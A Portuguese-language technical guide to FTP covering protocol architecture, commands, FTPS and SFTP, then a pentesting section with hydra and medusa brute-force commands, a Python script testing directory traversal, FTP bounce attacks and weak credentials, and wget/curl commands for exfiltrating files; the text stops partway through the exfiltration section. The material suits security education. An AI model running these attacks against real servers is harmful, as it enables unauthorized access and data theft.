# FTP

## **📋 Índice**

1. [Fundamentos do FTP](#-fundamentos-do-ftp)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [Modos de Transferência](#-modos-de-transferência)
4. [Comandos e Respostas](#-comandos-e-respostas)
5. [Autenticação e Segurança](#-autenticação-e-segurança)
6. [FTPS vs SFTP vs FTP](#-ftps-vs-sftp-vs-ftp)
7. [Pentesting com FTP](#-pentesting-com-ftp)
8. [Vulnerabilidades e Exploração](#-vulnerabilidades-e-exploração)
9. [Mitigações e Boas Práticas](#-mitigações-e-boas-práticas)
10. [Ferramentas e Automação](#-ferramentas-e-automação)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do FTP**

### **O que é FTP?**

O **File Transfer Protocol (FTP)** é um protocolo padrão da camada de aplicação projetado para transferência de arquivos entre sistemas heterogêneos. Especificado originalmente na **RFC 959** (1985), é um dos protocolos mais antigos e amplamente implementados da internet.

### **Características Essenciais**

| Característica           | Descrição                                | Implicação para Segurança                                   |
| ------------------------ | ---------------------------------------- | ----------------------------------------------------------- |
| **Dual Channel**         | Conexões separadas para controle e dados | Complexidade de firewall, possível sequestro de conexão     |
| **Stateful**             | Mantém estado da sessão                  | Sessões podem ser hijacked                                  |
| **Text-based**           | Comandos em texto simples                | Suscetível a sniffing                                       |
| **Clear Text**           | Credenciais não criptografadas           | Exposição de senhas em tráfego capturado                    |
| **Platform Independent** | Funciona em diferentes SOs               | Compatibilidade ampla, mas inconsistências de implementação |

### **Histórico e Evolução**

```yaml
Evolução do FTP:
  1971: Primeira especificação (RFC 114) - pré-Internet
  1980: RFC 765 - Padronização inicial
  1985: RFC 959 - Especificação atual (base)
  1997: RFC 2228 - Extensões de segurança (FTPS)
  1999: RFC 2428 - IPv6 e extensões para modo passivo
  2006: RFC 4217 - TLS/SSL para FTP (FTP over TLS)
  2020: Declínio significativo em favor do SFTP/FTPS

Motivação original:
  ✅ Transferir arquivos entre sistemas diferentes
  ✅ Navegação remota de diretórios
  ✅ Suporte a formatos de texto e binário
  ✅ Retomada de transferências interrompidas
```

### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 7 - Aplicação"
        FTP[FTP - Cliente/Servidor]
        TELNET[TELNET/SSH]
    end
    
    subgraph "Camada 6 - Apresentação"
        SSL[TLS/SSL - FTPS]
    end
    
    subgraph "Camada 5 - Sessão"
        SESSION[Controle de Sessão FTP]
    end
    
    subgraph "Camada 4 - Transporte"
        TCP[TCP - Portas 20/21]
    end
    
    subgraph "Camada 3 - Rede"
        IP[IP]
    end
    
    FTP --> TCP
    FTPS --> SSL
    SSL --> TCP
    TCP --> IP
```

***

## 🏗️ **Arquitetura e Componentes**

### **Modelo Cliente-Servidor FTP**

```mermaid
sequenceDiagram
    participant C as Cliente FTP
    participant S as Servidor FTP (Porta 21)
    participant D as Servidor Dados (Porta 20/PASV)
    
    Note over C,S: Estabelecimento do Canal de Controle
    C->>S: Conexão TCP (Porta 21)
    S-->>C: 220 Servidor FTP pronto
    C->>S: USER usuario
    S-->>C: 331 Senha requerida
    C->>S: PASS senha123
    S-->>C: 230 Login bem-sucedido
    
    Note over C,D: Transferência de Dados (Modo Ativo)
    C->>S: PORT 192,168,1,10,4,1
    Note over C: Cliente: porta 1025
    S->>D: Conexão TCP (Porta 20 -> 1025)
    C->>S: LIST
    D-->>C: Lista de arquivos
    
    Note over C,D: Transferência de Dados (Modo Passivo)
    C->>S: PASV
    S-->>C: 227 Entering Passive Mode (192,168,1,100,4,2)
    Note over S: Servidor: porta 1026
    C->>D: Conexão TCP (Porta X -> 1026)
    C->>S: RETR arquivo.txt
    D-->>C: Dados do arquivo
```

### **Componentes da Arquitetura FTP**

| Componente            | Função                       | Porta/Padrão                     | Detalhes                           |
| --------------------- | ---------------------------- | -------------------------------- | ---------------------------------- |
| **Servidor FTP**      | Gerencia conexões e arquivos | 21 (controle)                    | Daemon que processa comandos       |
| **Cliente FTP**       | Inicia conexões e comandos   | Dinâmica                         | Interface para usuário             |
| **Canal de Controle** | Comandos e respostas         | Porta 21                         | Conexão persistente durante sessão |
| **Canal de Dados**    | Transferência de arquivos    | 20 (ativo) / Aleatória (passivo) | Criado sob demanda                 |
| **FTP Proxy**         | Intermediação/Firewall       | Variável                         | Inspeciona tráfego FTP             |

### **Estrutura da Sessão FTP**

```python
#!/usr/bin/env python3
# ftp_session_structure.py - Estrutura de sessão FTP

import socket
import ssl
import logging

class FTPSession:
    """Representação de uma sessão FTP"""
    
    def __init__(self, host, port=21):
        self.host = host
        self.port = port
        self.control_socket = None
        self.data_socket = None
        self.passive_mode = True
        self.authenticated = False
    
    def connect(self):
        """Estabelecer canal de controle"""
        self.control_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.control_socket.connect((self.host, self.port))
        response = self.control_socket.recv(1024).decode()
        
        if response.startswith('220'):
            print(f"✅ Conectado: {response.strip()}")
            return True
        else:
            print(f"❌ Falha na conexão: {response.strip()}")
            return False
    
    def send_command(self, command):
        """Enviar comando pelo canal de controle"""
        self.control_socket.send(f"{command}\r\n".encode())
        response = self.control_socket.recv(4096).decode()
        return response
    
    def login(self, username, password):
        """Autenticar no servidor"""
        response = self.send_command(f"USER {username}")
        
        if response.startswith('331'):
            response = self.send_command(f"PASS {password}")
            
            if response.startswith('230'):
                self.authenticated = True
                print(f"✅ Login bem-sucedido: {response.strip()}")
                return True
            else:
                print(f"❌ Senha incorreta: {response.strip()}")
                return False
        else:
            print(f"❌ Usuário inválido: {response.strip()}")
            return False
    
    def set_passive_mode(self):
        """Ativar modo passivo"""
        response = self.send_command('PASV')
        
        if response.startswith('227'):
            # Parse: 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2)
            import re
            match = re.search(r'\((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\)', response)
            
            if match:
                ip = '.'.join(match.groups()[:4])
                port = (int(match.group(5)) << 8) + int(match.group(6))
                return ip, port
        
        return None, None
    
    def list_files(self):
        """Listar arquivos no diretório atual"""
        if self.passive_mode:
            ip, port = self.set_passive_mode()
            
            if ip and port:
                # Conectar ao canal de dados
                self.data_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.data_socket.connect((ip, port))
                
                # Enviar comando LIST
                response = self.send_command('LIST')
                
                # Receber dados
                data = self.data_socket.recv(8192).decode()
                self.data_socket.close()
                
                # Receber confirmação final
                final_response = self.control_socket.recv(1024).decode()
                
                return data
        
        return None
    
    def download_file(self, filename):
        """Baixar arquivo do servidor"""
        if self.passive_mode:
            ip, port = self.set_passive_mode()
            
            if ip and port:
                self.data_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.data_socket.connect((ip, port))
                
                response = self.send_command(f"RETR {filename}")
                
                if response.startswith('150'):
                    # Receber dados do arquivo
                    data = b''
                    while True:
                        chunk = self.data_socket.recv(8192)
                        if not chunk:
                            break
                        data += chunk
                    
                    self.data_socket.close()
                    final_response = self.control_socket.recv(1024).decode()
                    
                    return data
        
        return None
    
    def quit(self):
        """Encerrar sessão"""
        self.send_command('QUIT')
        self.control_socket.close()

# Exemplo de uso
if __name__ == "__main__":
    session = FTPSession("ftp.example.com", 21)
    
    if session.connect():
        if session.login("anonymous", "user@example.com"):
            files = session.list_files()
            print("📁 Arquivos no diretório:")
            print(files)
        
        session.quit()
```

***

## 📊 **Modos de Transferência**

### **Modo Ativo vs Modo Passivo**

```mermaid
graph TD
    subgraph "Modo Ativo"
        A1[Cliente] -->|PORT 192,168,1,10,4,1| B1[Servidor:21]
        B1 -->|Conexão TCP 20 -> 1025| A1
        A1 -->|Comando de dados| B1
    end
    
    subgraph "Modo Passivo"
        A2[Cliente] -->|PASV| B2[Servidor:21]
        B2 -->|227 IP,Porta| A2
        A2 -->|Conexão TCP X -> Y| B2
        A2 -->|Comando de dados| B2
    end
    
    style A1 fill:#ffcccc
    style A2 fill:#ccffcc
```

### **Comparação Detalhada**

| Característica        | Modo Ativo                        | Modo Passivo                  |
| --------------------- | --------------------------------- | ----------------------------- |
| **Iniciação**         | Cliente especifica porta          | Servidor especifica porta     |
| **Conexão de Dados**  | Servidor → Cliente                | Cliente → Servidor            |
| **Firewall Cliente**  | Problemático (conexão de entrada) | Fácil (conexão de saída)      |
| **Firewall Servidor** | Fácil (porta 20 fixa)             | Complexo (portas altas)       |
| **NAT**               | Frequentemente quebra             | Funciona bem                  |
| **Segurança**         | Menos seguro (porta fixa)         | Mais seguro (portas efêmeras) |
| **Uso Atual**         | Raro                              | Padrão                        |

### **Implementação em Python**

```python
#!/usr/bin/env python3
# ftp_modes_demo.py - Demonstração dos modos FTP

import socket
import ftplib
from contextlib import contextmanager

class FTPModeDemo:
    def __init__(self, host, user='anonymous', password='user@example.com'):
        self.host = host
        self.user = user
        self.password = password
        self.ftp = None
    
    def demo_active_mode(self):
        """Demonstrar modo ativo (raro hoje em dia)"""
        print("🔌 Conectando em modo ativo...")
        
        self.ftp = ftplib.FTP(self.host)
        self.ftp.set_pasv(False)  # Desativar modo passivo = ativo
        self.ftp.login(self.user, self.password)
        
        # Em modo ativo, o servidor se conecta ao cliente
        # Isto frequentemente falha atrás de firewalls/NAT
        try:
            files = self.ftp.nlst()
            print(f"✅ Arquivos: {files}")
        except Exception as e:
            print(f"❌ Modo ativo falhou: {e}")
        
        self.ftp.quit()
    
    def demo_passive_mode(self):
        """Demonstrar modo passivo (padrão moderno)"""
        print("🔌 Conectando em modo passivo...")
        
        self.ftp = ftplib.FTP(self.host)
        self.ftp.set_pasv(True)  # Ativar modo passivo
        self.ftp.login(self.user, self.password)
        
        try:
            files = self.ftp.nlst()
            print(f"✅ Arquivos: {files}")
        except Exception as e:
            print(f"❌ Modo passivo falhou: {e}")
        
        self.ftp.quit()
    
    def capture_control_channel(self):
        """Capturar tráfego do canal de controle para análise"""
        import subprocess
        
        print("📡 Iniciando captura de tráfego FTP (porta 21)...")
        
        # Comando tcpdump para capturar apenas tráfego FTP
        cmd = [
            'timeout', '10', 'tcpdump', '-i', 'any', 
            '-n', 'port', '21', '-A'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
        except:
            pass

# Uso
demo = FTPModeDemo('ftp.example.com')
demo.demo_passive_mode()  # Recomendado
```

***

## 📝 **Comandos e Respostas**

### **Comandos FTP Essenciais**

| Comando  | Sintaxe                  | Descrição                   | Código de Resposta |
| -------- | ------------------------ | --------------------------- | ------------------ |
| **USER** | `USER <username>`        | Envia nome de usuário       | 331, 230           |
| **PASS** | `PASS <password>`        | Envia senha                 | 230, 530           |
| **QUIT** | `QUIT`                   | Encerra sessão              | 221                |
| **LIST** | `LIST [path]`            | Lista diretório             | 125, 150, 226      |
| **NLST** | `NLST [path]`            | Lista nomes de arquivos     | 125, 150, 226      |
| **RETR** | `RETR <filename>`        | Baixa arquivo               | 125, 150, 226      |
| **STOR** | `STOR <filename>`        | Envia arquivo               | 125, 150, 226      |
| **DELE** | `DELE <filename>`        | Deleta arquivo              | 250, 550           |
| **MKD**  | `MKD <dirname>`          | Cria diretório              | 257, 550           |
| **RMD**  | `RMD <dirname>`          | Remove diretório            | 250, 550           |
| **RNFR** | `RNFR <oldname>`         | Nome antigo para rename     | 350                |
| **RNTO** | `RNTO <newname>`         | Novo nome para rename       | 250                |
| **CWD**  | `CWD <directory>`        | Muda diretório              | 250, 550           |
| **PWD**  | `PWD`                    | Mostra diretório atual      | 257                |
| **PASV** | `PASV`                   | Entra em modo passivo       | 227                |
| **PORT** | `PORT h1,h2,h3,h4,p1,p2` | Especifica porta para ativo | 200                |
| **TYPE** | `TYPE A\|I`              | Define modo ASCII/Binário   | 200                |
| **SYST** | `SYST`                   | Informa sistema operacional | 215                |
| **FEAT** | `FEAT`                   | Lista recursos suportados   | 211                |
| **OPTS** | `OPTS <option>`          | Configura opções            | 200, 501           |

### **Códigos de Resposta FTP**

```python
# ftp_response_codes.py - Classificação de respostas FTP

FTP_RESPONSES = {
    # 1xx - Informações preliminares
    '110': 'Restart marker reply',
    '120': 'Service ready in nnn minutes',
    '125': 'Data connection already open; transfer starting',
    '150': 'File status okay; about to open data connection',
    
    # 2xx - Sucesso
    '200': 'Command okay',
    '202': 'Command not implemented, superfluous at this site',
    '211': 'System status, or system help reply',
    '212': 'Directory status',
    '213': 'File status',
    '214': 'Help message',
    '215': 'NAME system type',
    '220': 'Service ready for new user',
    '221': 'Service closing control connection',
    '225': 'Data connection open; no transfer in progress',
    '226': 'Closing data connection',
    '227': 'Entering Passive Mode',
    '230': 'User logged in, proceed',
    '250': 'Requested file action okay, completed',
    '257': '"PATHNAME" created',
    
    # 3xx - Necessita ação adicional
    '331': 'User name okay, need password',
    '332': 'Need account for login',
    '350': 'Requested file action pending further information',
    
    # 4xx - Erro temporário
    '421': 'Service not available, closing control connection',
    '425': "Can't open data connection",
    '426': 'Connection closed; transfer aborted',
    '450': 'Requested file action not taken',
    '451': 'Requested action aborted: local error in processing',
    '452': 'Requested action not taken: insufficient storage space',
    
    # 5xx - Erro permanente
    '500': 'Syntax error, command unrecognized',
    '501': 'Syntax error in parameters or arguments',
    '502': 'Command not implemented',
    '503': 'Bad sequence of commands',
    '504': 'Command not implemented for that parameter',
    '530': 'Not logged in',
    '532': 'Need account for storing files',
    '550': 'Requested action not taken',
    '551': 'Requested action aborted: page type unknown',
    '552': 'Requested file action aborted: exceeded storage allocation',
    '553': 'Requested action not taken: file name not allowed'
}

def interpret_response(code):
    """Interpretar código de resposta FTP"""
    code_str = str(code)
    
    if code_str in FTP_RESPONSES:
        return FTP_RESPONSES[code_str]
    elif code_str.startswith('1'):
        return "Informação preliminar"
    elif code_str.startswith('2'):
        return "Sucesso"
    elif code_str.startswith('3'):
        return "Ação adicional necessária"
    elif code_str.startswith('4'):
        return "Erro temporário"
    elif code_str.startswith('5'):
        return "Erro permanente"
    else:
        return "Código desconhecido"

# Exemplo
print(interpret_response('230'))  # User logged in, proceed
print(interpret_response('550'))  # Requested action not taken
```

***

## 🔐 **Autenticação e Segurança**

### **Métodos de Autenticação FTP**

| Método             | Descrição                   | Segurança               | Uso                    |
| ------------------ | --------------------------- | ----------------------- | ---------------------- |
| **Anonymous**      | Login com 'anonymous'/'ftp' | ❌ Muito baixa           | Downloads públicos     |
| **Usuário/Senha**  | Credenciais em texto plano  | ❌ Vulnerável a sniffing | Servidores internos    |
| **TLS/SSL (FTPS)** | Credenciais criptografadas  | ✅ Alta                  | Aplicações modernas    |
| **Kerberos**       | Autenticação via GSSAPI     | ✅ Alta                  | Ambientes corporativos |

### **Problemas de Segurança do FTP**

```yaml
Vulnerabilidades do FTP tradicional:
  
  Sniffing:
    🔴 Credenciais em texto plano (USER/PASS)
    🔴 Dados transferidos não criptografados
    🔴 Exposição de comandos e respostas
  
  Ataques comuns:
    🔴 Brute Force em contas FTP
    🔴 Anonymous Access (arquivos sensíveis)
    🔴 Directory Traversal (../)
    🔴 Bounce Attack (usar servidor como proxy)
    🔴 FTP Spoofing (IP spoofed)
  
  Problemas de firewall:
    🔴 Modo ativo: conexões de entrada bloqueadas
    🔴 Modo passivo: portas altas precisam ser abertas
    🔴 Dificuldade de inspeção de tráfego
```

### **Autenticação FTP em Python**

```python
#!/usr/bin/env python3
# ftp_auth_examples.py - Exemplos de autenticação

import ftplib
import ssl
import sys

class FTPAuthExamples:
    def __init__(self, host):
        self.host = host
    
    def anonymous_login(self):
        """Login anônimo (não seguro)"""
        print("🔓 Tentando login anônimo...")
        
        try:
            ftp = ftplib.FTP(self.host)
            ftp.login('anonymous', 'user@example.com')
            print(f"✅ Login anônimo bem-sucedido")
            print(f"   Banner: {ftp.getwelcome()}")
            ftp.quit()
            return True
        except ftplib.all_errors as e:
            print(f"❌ Login anônimo falhou: {e}")
            return False
    
    def user_password_login(self, user, password):
        """Login com usuário/senha (texto plano)"""
        print(f"🔐 Tentando login como {user}...")
        
        try:
            ftp = ftplib.FTP(self.host)
            ftp.login(user, password)
            print(f"✅ Login bem-sucedido como {user}")
            ftp.quit()
            return True
        except ftplib.error_perm as e:
            print(f"❌ Falha na autenticação: {e}")
            return False
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def ftps_login(self, user, password, implicit=False):
        """FTPS (FTP sobre SSL/TLS)"""
        print(f"🔒 Tentando login FTPS como {user}...")
        
        try:
            if implicit:
                # FTPS Implicito (porta 990)
                ftp = ftplib.FTP_TLS(self.host, port=990)
            else:
                # FTPS Explicito (porta 21 com STARTTLS)
                ftp = ftplib.FTP_TLS(self.host)
                ftp.auth()  # Inicia TLS
            
            ftp.login(user, password)
            ftp.prot_p()  # Proteger canal de dados
            print(f"✅ FTPS login bem-sucedido como {user}")
            ftp.quit()
            return True
        except Exception as e:
            print(f"❌ FTPS falhou: {e}")
            return False
    
    def brute_force_test(self, userlist, passlist):
        """Teste de força bruta (educacional)"""
        print("⚠️ Iniciando teste de força bruta...")
        
        for user in userlist:
            for password in passlist:
                try:
                    ftp = ftplib.FTP(self.host)
                    ftp.login(user, password)
                    print(f"🎯 CREDENCIAIS ENCONTRADAS: {user}:{password}")
                    ftp.quit()
                    return (user, password)
                except:
                    continue
        
        print("❌ Nenhuma credencial encontrada")
        return None

# Uso
auth = FTPAuthExamples("ftp.example.com")
auth.anonymous_login()
auth.user_password_login("admin", "admin123")
```

***

## 🔄 **FTPS vs SFTP vs FTP**

### **Comparação Completa**

| Característica                | FTP           | FTPS                            | SFTP                     |
| ----------------------------- | ------------- | ------------------------------- | ------------------------ |
| **Protocolo**                 | TCP (21/20)   | TCP com TLS                     | SSH (porta 22)           |
| **Criptografia**              | ❌ Nenhuma     | ✅ TLS/SSL                       | ✅ SSH                    |
| **Autenticação**              | Usuário/Senha | Usuário/Senha + Certificados    | SSH Keys + Usuário/Senha |
| **Portas**                    | 21, 20        | 21 (explicito), 990 (implicito) | 22                       |
| **Firewall**                  | Complexo      | Complexo                        | Simples (1 porta)        |
| **Modo Binário/ASCII**        | ✅ Suportado   | ✅ Suportado                     | Automático               |
| **Listagem de Diretórios**    | Padrão        | Padrão                          | Unix-style               |
| **Velocidade**                | Alta          | Alta                            | Média-Alta               |
| **Retomada de Transferência** | ✅ Suportado   | ✅ Suportado                     | ✅ Suportado              |
| **Implementação**             | Ampla         | Ampla                           | Ampla                    |
| **Segurança**                 | ❌ Muito baixa | ✅ Alta                          | ✅ Alta                   |
| **Uso Atual**                 | Legado        | Transição                       | Moderno                  |

### **Diagrama de Decisão**

```mermaid
graph TD
    A[Precisa transferir arquivos?] --> B{Segurança é crítica?}
    
    B -->|Não| C[FTP Tradicional]
    B -->|Sim| D{Ambiente existente?}
    
    D -->|Já usa SSL/TLS| E[FTPS]
    D -->|Já usa SSH| F[SFTP]
    D -->|Nova implementação| G[SFTP ou FTPS]
    
    C --> H[⚠️ Evitar em produção]
    E --> I[✅ Bom para legacy]
    F --> J[✅ Melhor para moderno]
    G --> K[✅ Recomendado: SFTP]
```

### **Implementação de FTPS**

```python
#!/usr/bin/env python3
# ftps_implementation.py - FTPS server/client

import ftplib
import ssl
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import TLS_FTPHandler
from pyftpdlib.servers import FTPServer

class FTPSImplementation:
    """Implementação de servidor FTPS"""
    
    @staticmethod
    def create_ftps_server(host='127.0.0.1', port=2121, 
                          cert_file='server.crt', key_file='server.key'):
        """Criar servidor FTPS"""
        
        # Autorizador
        authorizer = DummyAuthorizer()
        authorizer.add_user('user', 'password', '.', perm='elradfmw')
        authorizer.add_anonymous('.')
        
        # Handler com TLS
        handler = TLS_FTPHandler
        handler.certfile = cert_file
        handler.keyfile = key_file
        handler.authorizer = authorizer
        
        # Iniciar servidor
        server = FTPServer((host, port), handler)
        server.serve_forever()
    
    @staticmethod
    def ftps_client_explicit(host, user, password, port=21):
        """Cliente FTPS - Modo explícito (STARTTLS)"""
        
        ftp = ftplib.FTP_TLS(host)
        ftp.port = port
        ftp.login(user, password)
        ftp.prot_p()  # Proteger canal de dados
        ftp.quit()
        print("✅ FTPS (explícito) conectado")
    
    @staticmethod
    def ftps_client_implicit(host, user, password, port=990):
        """Cliente FTPS - Modo implícito"""
        
        ftp = ftplib.FTP_TLS(host, port=port)
        ftp.login(user, password)
        ftp.prot_p()
        ftp.quit()
        print("✅ FTPS (implícito) conectado")

# Criar certificado self-signed para teste
def create_self_signed_cert():
    """Criar certificado para teste"""
    from OpenSSL import crypto
    
    # Gerar chave
    key = crypto.PKey()
    key.generate_key(crypto.TYPE_RSA, 2048)
    
    # Criar certificado
    cert = crypto.X509()
    cert.get_subject().CN = "localhost"
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(365*24*60*60)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(key)
    cert.sign(key, 'sha256')
    
    # Salvar
    with open('server.key', 'wb') as f:
        f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
    
    with open('server.crt', 'wb') as f:
        f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
    
    print("✅ Certificado self-signed criado")
```

### **SFTP (SSH File Transfer Protocol)**

```python
#!/usr/bin/env python3
# sftp_implementation.py - SFTP client

import paramiko
import os
import sys

class SFTPClient:
    """Cliente SFTP usando Paramiko"""
    
    def __init__(self, host, username, password=None, key_file=None):
        self.host = host
        self.username = username
        self.password = password
        self.key_file = key_file
        self.client = None
        self.sftp = None
    
    def connect(self):
        """Conectar via SSH/SFTP"""
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        try:
            if self.key_file:
                # Autenticação por chave
                key = paramiko.RSAKey.from_private_key_file(self.key_file)
                self.client.connect(self.host, username=self.username, pkey=key)
            else:
                # Autenticação por senha
                self.client.connect(self.host, username=self.username, password=self.password)
            
            self.sftp = self.client.open_sftp()
            print(f"✅ SFTP conectado como {self.username}")
            return True
            
        except Exception as e:
            print(f"❌ Erro SFTP: {e}")
            return False
    
    def list_files(self, path='.'):
        """Listar arquivos"""
        try:
            files = self.sftp.listdir(path)
            for f in files:
                attrs = self.sftp.stat(f"{path}/{f}")
                size = attrs.st_size
                print(f"{f:30} {size:10} bytes")
            return files
        except Exception as e:
            print(f"❌ Erro listando: {e}")
            return []
    
    def download(self, remote_path, local_path):
        """Baixar arquivo"""
        try:
            self.sftp.get(remote_path, local_path)
            print(f"✅ Baixado: {remote_path} -> {local_path}")
            return True
        except Exception as e:
            print(f"❌ Erro download: {e}")
            return False
    
    def upload(self, local_path, remote_path):
        """Enviar arquivo"""
        try:
            self.sftp.put(local_path, remote_path)
            print(f"✅ Enviado: {local_path} -> {remote_path}")
            return True
        except Exception as e:
            print(f"❌ Erro upload: {e}")
            return False
    
    def close(self):
        """Fechar conexões"""
        if self.sftp:
            self.sftp.close()
        if self.client:
            self.client.close()
        print("🔌 Conexão SFTP fechada")

# Uso
sftp = SFTPClient('sftp.example.com', 'username', password='senha123')
if sftp.connect():
    sftp.list_files()
    sftp.download('/remote/file.txt', 'local_file.txt')
    sftp.close()
```

***

## 🎯 **Pentesting com FTP**

### **Fase 1: Reconhecimento e Enumeração**

```bash
# Escaneamento de portas
nmap -p 21 --script ftp-* 192.168.1.0/24
nmap -p 21,990,2121 --script banner 192.168.1.100

# Enumeração de versão
nmap -sV -p 21 192.168.1.100
nc -nv 192.168.1.100 21

# Verificar suporte a TLS
openssl s_client -connect 192.168.1.100:21 -starttls ftp

# Força bruta de credenciais (hydra)
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# Força bruta com medusa
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ftp

# Testar login anônimo
ftp -n 192.168.1.100 << EOF
user anonymous user@example.com
quit
EOF
```

### **Script de Enumeração FTP**

```python
#!/usr/bin/env python3
# ftp_enumeration.py - Enumeração completa de servidor FTP

import ftplib
import socket
import ssl
import sys
import logging

class FTPEnumeration:
    def __init__(self, host, port=21):
        self.host = host
        self.port = port
        self.results = {
            'banner': None,
            'version': None,
            'anonymous': False,
            'writable': False,
            'features': [],
            'files': [],
            'security': []
        }
    
    def get_banner(self):
        """Coletar banner do servidor"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((self.host, self.port))
            banner = sock.recv(1024).decode().strip()
            sock.close()
            
            self.results['banner'] = banner
            print(f"📋 Banner: {banner}")
            
            # Tentar identificar versão
            if 'vsFTPd' in banner:
                self.results['version'] = banner.split()[1]
            elif 'ProFTPD' in banner:
                self.results['version'] = banner.split()[1]
            elif 'Microsoft FTP' in banner:
                self.results['version'] = 'IIS FTP'
            
            return banner
        except Exception as e:
            print(f"❌ Erro banner: {e}")
            return None
    
    def test_anonymous(self):
        """Testar acesso anônimo"""
        try:
            ftp = ftplib.FTP(self.host, port=self.port)
            ftp.login('anonymous', 'user@example.com')
            self.results['anonymous'] = True
            print("✅ Login anônimo permitido")
            
            # Tentar listar diretórios
            try:
                files = ftp.nlst()
                self.results['files'] = files
                print(f"📁 Arquivos: {files[:10]}")
            except:
                pass
            
            # Testar permissão de escrita
            try:
                ftp.storbinary('STOR test.txt', b'test')
                self.results['writable'] = True
                print("✅ Diretório com permissão de escrita")
                
                # Limpar
                ftp.delete('test.txt')
            except:
                print("❌ Sem permissão de escrita")
            
            ftp.quit()
            return True
            
        except ftplib.error_perm as e:
            print(f"❌ Login anônimo negado: {e}")
            return False
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def get_features(self):
        """Obter recursos suportados"""
        try:
            ftp = ftplib.FTP(self.host, port=self.port)
            ftp.login('anonymous', 'user@example.com')
            
            # Comando FEAT
            try:
                feat_response = ftp.sendcmd('FEAT')
                self.results['features'] = feat_response.split('\n')
                print("📋 Recursos suportados:")
                for f in self.results['features'][1:-1]:
                    print(f"   {f.strip()}")
            except:
                print("   FEAT não suportado")
            
            # Verificar suporte a TLS
            try:
                ftp.sendcmd('AUTH TLS')
                self.results['security'].append('TLS_SUPPORTED')
                print("✅ Suporte a TLS/SSL detectado")
            except:
                print("❌ TLS não suportado")
            
            ftp.quit()
            
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def run(self):
        """Executar enumeração completa"""
        print(f"🔍 Enumerando servidor FTP: {self.host}:{self.port}")
        print("=" * 50)
        
        self.get_banner()
        self.test_anonymous()
        self.get_features()
        
        return self.results

# Uso
if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
    enum = FTPEnumeration(target)
    results = enum.run()
    
    print("\n📊 Resumo:")
    print(f"  Banner: {results['banner']}")
    print(f"  Versão: {results['version']}")
    print(f"  Anônimo: {results['anonymous']}")
    print(f"  Gravavel: {results['writable']}")
```

### **Fase 2: Exploração de Vulnerabilidades**

```python
#!/usr/bin/env python3
# ftp_exploits.py - Exploração de vulnerabilidades FTP

import ftplib
import socket
import sys

class FTPExploits:
    def __init__(self, host, port=21):
        self.host = host
        self.port = port
    
    def test_directory_traversal(self):
        """Testar directory traversal via CWD"""
        print("🔍 Testando directory traversal...")
        
        traversal_patterns = [
            '../',
            '../../',
            '../../../',
            '....//',
            '....////',
            '..;/',
            '..%5c',
            '..%c0%af'
        ]
        
        try:
            ftp = ftplib.FTP(self.host, port=self.port)
            ftp.login('anonymous', 'user@example.com')
            
            for pattern in traversal_patterns:
                try:
                    ftp.cwd(pattern)
                    print(f"⚠️  CWD vulnerável: {pattern}")
                    
                    # Tentar listar diretório
                    files = ftp.nlst()
                    print(f"   Arquivos: {files}")
                    
                except:
                    pass
            
            ftp.quit()
            
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def test_bounce_attack(self, target_ip, target_port=80):
        """Testar FTP bounce attack (usar servidor como proxy)"""
        print("🔍 Testando FTP bounce attack...")
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.host, self.port))
            
            # Receber banner
            banner = sock.recv(1024)
            print(f"Banner: {banner}")
            
            # Login
            sock.send(b'USER anonymous\r\n')
            sock.recv(1024)
            sock.send(b'PASS user@example.com\r\n')
            sock.recv(1024)
            
            # Calcular porta para bounce
            # PORT h1,h2,h3,h4,p1,p2
            ip_parts = target_ip.split('.')
            port_high = target_port >> 8
            port_low = target_port & 0xFF
            
            port_cmd = f"PORT {','.join(ip_parts)},{port_high},{port_low}\r\n"
            sock.send(port_cmd.encode())
            response = sock.recv(1024)
            
            if b'200' in response:
                print(f"✅ Bounce possível para {target_ip}:{target_port}")
                
                # Tentar listar
                sock.send(b'LIST\r\n')
                response = sock.recv(1024)
                print(f"Resposta: {response}")
            else:
                print(f"❌ Bounce não suportado: {response}")
            
            sock.close()
            
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def test_weak_credentials(self, userlist, passlist):
        """Testar credenciais fracas"""
        print("🔍 Testando credenciais fracas...")
        
        for user in userlist:
            for password in passlist:
                try:
                    ftp = ftplib.FTP(self.host, port=self.port)
                    ftp.login(user, password)
                    print(f"🎯 CREDENCIAIS VÁLIDAS: {user}:{password}")
                    ftp.quit()
                    return (user, password)
                except:
                    continue
        
        print("❌ Nenhuma credencial válida encontrada")
        return None

# Uso
exploits = FTPExploits('192.168.1.100')
exploits.test_directory_traversal()
exploits.test_bounce_attack('192.168.1.1', 80)

common_users = ['admin', 'root', 'ftp', 'user', 'test']
common_passwords = ['admin', '123456', 'password', 'ftp', 'test']
exploits.test_weak_credentials(common_users, common_passwords)
```

### **Fase 3: Exfiltração de Dados**

```bash
# Baixar todos os arquivos via wget recursivo
wget -r ftp://anonymous:user@example.com@192.168.1.100/

# Baixar com curl
curl -u username:password ftp://192.168.1.100/backup.zip -O

# Sincronizar com lftp
